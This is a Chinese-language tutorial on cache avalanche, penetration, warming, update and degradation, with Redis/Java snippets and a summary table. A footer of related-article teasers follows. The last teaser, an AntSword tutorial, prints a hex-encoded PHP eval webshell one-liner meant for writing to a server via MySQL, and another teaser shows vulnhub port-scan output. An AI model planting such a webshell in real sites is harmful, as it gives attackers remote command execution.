緩存雪崩、緩存穿透、緩存預熱、緩存更新、緩存降級

1. 緩存雪崩(Cache Avalanche)

定義:緩存雪崩是指大量緩存中的數據在同一時間過期,導致大量請求同時訪問數據庫,造成數據庫壓力驟增,甚至可能導致數據庫崩潰。

原因

  • 多個緩存的 key 在同一時間過期;

  • 當這些 key 不再命中緩存時,所有請求都會同時訪問數據庫。

應對策略

  • 設置過期時間加隨機值:避免緩存的 key 在相同時間過期。比如,如果某個 key 設置過期時間為 1 小時,可以隨機設置在 59 分鐘到 61 分鐘之間。

    EXPIRE key 3600
    
  • 分批過期:不同的數據設置不同的過期時間,避免同一時刻大量緩存失效。

  • 提前加載緩存(緩存預熱):在應用啟動時預加載熱點數據到緩存中,減少初次使用時數據庫的壓力。


2. 緩存穿透(Cache Penetration)

定義:緩存穿透是指查詢一個緩存中和數據庫中都不存在的數據(例如惡意請求或查詢條件錯誤),導致每次請求都訪問數據庫,緩存無法發揮作用。

原因

  • 用戶查詢的鍵既不在緩存中,也不在數據庫中;

  • 可能是由于客戶端錯誤、惡意攻擊或非法請求。

應對策略

  • 布隆過濾器(Bloom Filter):布隆過濾器能夠高效地判斷某個數據是否存在于數據庫中。通過在緩存之前進行一次判斷,如果數據不存在,直接返回,不訪問數據庫。布隆過濾器的誤判率很低,但能有效避免不必要的數據庫訪問。

    示例:檢查某個ID是否存在于數據庫中,如果不存在,則直接返回“數據不存在”。

    if (!bloomFilter.contains(id)) {return null; // 數據不存在,直接返回
    }
    
  • 緩存空值:對于不存在的數據,可以在緩存中設置一個特殊的標記(如空字符串或特定對象),表示此數據為空,這樣后續相同請求會直接返回緩存,不再查詢數據庫。


3. 緩存預熱(Cache Warming)

定義:緩存預熱是指在系統啟動或緩存空置時,提前將熱點數據加載到緩存中,以避免緩存未命中的“冷啟動”問題。

原因

  • 系統啟動或緩存清空后,第一次查詢可能會直接查詢數據庫,影響性能;

  • 高頻查詢數據可以提前加載到緩存中,避免訪問數據庫。

應對策略

  • 手動預熱:在系統啟動時,通過腳本或程序將熱點數據加載到緩存中。

    public void preLoadCache() {List<String> hotData = database.queryHotData();for (String data : hotData) {redis.set(data);}
    }
    
  • 自動預熱:通過定時任務或后臺進程,定期更新緩存內容。

  • 基于訪問頻率預熱:通過日志、監控分析,發現訪問頻率較高的數據,優先加載到緩存。


4. 緩存更新(Cache Update)

定義:緩存更新是指在緩存中的數據發生變化時,如何保證緩存中的數據與數據庫中的數據一致。

問題

  • 數據庫數據更新后,緩存中的數據可能變得過時;

  • 需要確保數據一致性。

應對策略

  • 緩存失效(Cache Invalidation):數據更新后,主動刪除緩存中的對應數據,確保下次訪問時重新從數據庫加載并更新緩存。

    // 數據更新后清除緩存
    redis.del(key);
    
  • 緩存更新(Cache Update):在數據庫更新后,直接更新緩存中的數據,確保緩存和數據庫中的數據一致。

    // 更新數據庫后同步更新緩存
    redis.set(key, updatedValue);
    
  • 雙寫策略(Double Write):更新數據庫的同時,直接更新緩存。這需要確保緩存更新的原子性,否則可能出現緩存與數據庫不一致的情況。


5. 緩存降級(Cache Degradation)

定義:緩存降級是指在緩存服務不可用或緩存故障時,采取的一種策略來降低對數據庫的壓力,并確保系統可以繼續提供服務。

原因

  • 緩存服務宕機或超時;

  • 緩存中數據不存在或無法訪問。

應對策略

  • 服務降級:當緩存失效時,可以降級到直接從數據庫中獲取數據。為了避免大量數據庫訪問,可以在數據庫查詢時做限流或熔斷處理。

  • 降級返回默認值:當緩存不可用時,返回默認值或者保留上次的緩存值,而不是直接請求數據庫。

  • 緩存預熱與補償機制:在緩存失敗時,通過后臺異步任務去更新緩存,減少對數據庫的直接訪問。


6. 總結

問題描述應對策略
緩存雪崩多個緩存數據同時過期,導致大量請求直接訪問數據庫,可能崩潰設置過期時間加隨機值、分批過期、提前加載熱點數據(緩存預熱)
緩存穿透查詢數據既不在緩存中,也不在數據庫中,造成數據庫壓力布隆過濾器、緩存空值
緩存預熱系統啟動時,提前加載熱點數據到緩存中,避免冷啟動手動預熱、自動預熱、基于訪問頻率預熱
緩存更新數據更新后,保證緩存和數據庫一致性緩存失效、緩存更新、雙寫策略
緩存降級緩存不可用時,降級到數據庫查詢或返回默認值,保證系統可用性服務降級、返回默認值、后臺異步任務更新緩存

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/90225.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/90225.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/90225.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【unity實戰】Unity手搓腳本工具實現合并網格功能

注意:考慮到實戰的內容比較多,我將該內容分開,并全部整合放在【unity實戰】專欄里,感興趣的小伙伴可以前往逐一查看學習。 文章目錄 前言實戰1、簡單的合并網格實現2、設置統一的材質3、設置不同的多種材質4、多材質網格合并方案專欄推薦完結前言 有許多單獨的網格對象會影…

ThreadPoolTaskExecutor 的使用案例

ThreadPoolTaskExecutor 的使用案例 1. 依賴說明 <!-- Spring Retry&#xff08;用于任務重試&#xff09; --> <dependency><groupId>org.springframework.retry</groupId><artifactId>spring-retry</artifactId><version>1.3.1<…

0.3mg硝酸甘油舌下片:冠心病預防中的“消防員”

冠狀動脈疾病&#xff08;CAD&#xff09;如同一顆定時炸彈&#xff0c;即使在成功進行血運重建或藥物治療后&#xff0c;心絞痛急性發作的風險依然如影隨形。在冠心病管理的漫長戰役中&#xff0c;二級預防的核心目標不僅僅是延緩疾病進展&#xff0c;更是預防致命性心臟事件復…

【Spring源碼學習系列】基礎架構和環境搭建

一直以來都把精力花在中間件的研究和系統設計上&#xff0c;忽略了離我最近的spring&#xff0c;最近開始學習spring的源碼了&#xff0c;為了學習到成體系的spring知識和提高學習效率&#xff0c;想要找了一本書看&#xff0c;最終選的是郝佳的《Spring源碼深度解析&#xff0…

C++十大排序詳解(包括變種優化)

排序**基礎排序算法**1. **冒泡排序&#xff08;Bubble Sort&#xff09;**冒泡排序優化**1. 提前終止優化&#xff08;標志位優化&#xff09;****原理**&#xff1a;**實現示例**&#xff08;以C為例&#xff09;&#xff1a;**優點**&#xff1a;**2. 雙向冒泡排序&#xff…

React 性能優化實戰:用useTransition解決卡頓問題

文章目錄1. 概述2. 基本原理與語法3. 應用場景3.1 數據密集型界面的更新優化3.2 動態內容切換的平滑過渡3.3 搜索與過濾結果的實時展示4. 與其他相關Hook的對比5. 結合Suspense使用6. 注意事項1. 概述 useTransition Hook 。它允許開發者將一些非緊急的 UI 更新標記為 “過渡更…

基于Rust紅巖題材游戲、汽車控制系統、機器人運動學游戲實例

根據紅巖題材設計的關鍵游戲實例 以下是根據紅巖題材設計的關鍵游戲實例,結合Rust語言特性(如安全并發、ECS架構等)的框架性方案。所有設計均需符合Rust語法規范,實際開發需配合游戲引擎(如Bevy、Amethyst)。 核心系統模塊 // ECS架構示例(Bevy引擎) use bevy::prel…

【ZYNQ Linux開發】BRAM的幾種驅動方式

1 Vivado配置 ? BRAM 的使用方法為使用 AXI BRAM 控制器來控制 BRAM 生成器&#xff0c;Block Design 連接如下&#xff1a; 我這里配置的是真雙端口 RAM&#xff0c;通過 PL 的邏輯對 BRAM 生成器的端口 B 進行寫操作&#xff0c;在 PS 端對端口 A 進行讀。 BRAM 控制…

Flink ClickHouse 連接器數據寫入源碼深度解析

一、引言 在大數據處理的實際應用場景中&#xff0c;數據的高效存儲與處理至關重要。Flink 作為一款強大的流式計算框架&#xff0c;能夠對海量數據進行實時處理&#xff1b;而 ClickHouse 作為高性能的列式數據庫&#xff0c;擅長處理大規模數據分析任務。Flink ClickHouse 連…

OpenCV 人臉分析------面部關鍵點檢測類cv::face::FacemarkLBF

操作系統&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 編程語言&#xff1a;C11 算法描述 使用 Local Binary Features (LBF) 算法進行面部關鍵點檢測&#xff08;facial landmark detection&#xff09;。該算法通過級聯回歸樹預測人臉的…

Netstat高級分析工具:Windows與Linux雙系統兼容的精準篩查利器

Netstat高級分析工具&#xff1a;Windows與Linux雙系統兼容的精準篩查利器在網絡安全運維中&#xff0c;快速識別可疑連接是防御入侵的關鍵一步。本文將介紹一款我本人開發的原創高效的雙系統兼容Netstat信息分析工具&#xff0c;大幅提升惡意連接篩查效率。一、Netstat分析在安…

Bright Data MCP+Trae :快速構建電商導購助手垂直智能體

聲明&#xff1a;本測試報告系作者基于個人興趣及使用場景開展的非專業測評&#xff0c;測試過程中所涉及的方法、數據及結論均為個人觀點&#xff0c;不代表任何官方立場或行業標準。 文章目錄 一、引言1.1 當前AI智能體的趨勢1.2 構建智能體面臨的最大挑戰&#xff1a;數據來…

plantuml用法總結

時序圖 參考 https://blog.csdn.net/vitaviva/article/details/120735745用PlantUML簡化復雜時序圖的秘訣 startuml skin rose actor User as user participant "Component A" as A participant "Component B" as Buser -> A: Request data activate …

基于自研心電芯片國產化手持單導/6導/12導心電解決方案

蘇州唯理作為國內心電芯片國產化廠商&#xff0c;面向家用場景&#xff0c;推出了國產化的手持單導/6導/12導心電儀技術解決方案&#xff0c;可以讓家用心電圖儀成本可控&#xff0c;信號鏈路質量更佳穩定。該方案已在多家客戶中實現批量出貨。唯理科技同樣提供了醫療級的心電圖…

Sass詳解:功能特性、常用方法與最佳實踐

Sass詳解&#xff1a;功能特性、常用方法與最佳實踐 Sass&#xff08;Syntactically Awesome Style Sheets&#xff09;作為CSS預處理器領域的先驅&#xff0c;自2006年由Hampton Catlin創建以來&#xff0c;已成為現代前端開發中不可或缺的工具。它通過引入變量、嵌套、混合宏…

vulnhub靶機滲透:PWNLAB: INIT

一、信息收集1、主機發現2、端口掃描PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian))111/tcp open rpcbind 2-4 (RPC #100000)3306/tcp open mysql MySQL 5.5.47-0deb8u151649/tcp open status 1 (RPC #100024)3、目錄掃描&…

LiveKit 本地部署全流程指南(含 HTTPS/WSS)

1. 環境準備 操作系統&#xff1a;Windows 10/11 或 Linux/Mac需有本地公網/內網 IP&#xff08;如 192.168.x.x&#xff09;推薦瀏覽器&#xff1a;Chrome/Edge/Firefox/Safari端口未被占用&#xff0c;防火墻允許相關端口 2. 目錄結構建議 livekit/livekit-server.execonf…

NumPy-統計函數詳解

NumPy-統計函數詳解一、基礎統計函數&#xff1a;均值、方差、標準差1. 全局統計&#xff1a;忽略維度的整體計算2. 按軸統計&#xff1a;指定維度方向的計算二、位置統計&#xff1a;中位數、分位數、百分位數1. 中位數計算2. 分位數與百分位數三、離散程度&#xff1a;極差、…

音頻被動降噪技術

音頻被動降噪技術 音頻被動降噪技術是一種通過物理結構和材料設計來減少或隔離外部噪聲的降噪方式,其核心原理是通過物理屏障或吸聲材料來阻斷或吸收聲波,從而降低環境噪聲對聽覺體驗的影響。以下將從技術原理、應用場景、優缺點及與其他降噪技術的對比等方面進行詳細分析。…

中國蟻劍使用方法

找到mysql配置文件 secure-file-priv工作目錄 D:\tool\huli\gui_webshell\AntSword\AntSword\antSword-master重點是tool目錄后面 前面大家可能都不一樣 添加數據一句話木馬 3C3F706870206576616C28245F504F53545B22636D64225D293B3F3E 翻譯過來 <?php eval($_POST["c…